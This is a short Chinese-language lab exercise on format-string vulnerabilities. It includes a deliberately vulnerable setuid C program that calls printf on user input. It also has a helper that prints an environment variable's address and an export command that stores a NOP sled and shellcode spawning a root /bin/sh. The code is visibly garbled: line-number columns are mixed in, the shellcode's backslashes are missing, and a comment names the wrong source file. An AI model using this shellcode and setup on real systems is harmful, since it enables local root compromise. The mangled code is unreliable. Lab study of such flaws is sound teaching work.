Format-String Vulnerability Lab 格式化字符串漏洞 （shellcode写进环境变量）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//  vul.c
/* 
 * 如果获得环境变量的程序和攻击的程序的文件名长度不一样，环境变量的地址
 * 会发生偏移。因此，要么令两个程序的文件名长度相等（推荐），要么考虑偏
 * 移来计算环境变量地址。
 * gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面这段代码编译并且 suid，然后普通用户执行它，要求就是成
功获得 root shell。

1
2
3
4
5
6
7
8
9
10
//get.c
//export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

1
2
export EGG=$(python -c "print 'x90'*1000 + 'x6ax17x58x31xdbxcdx80x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80'")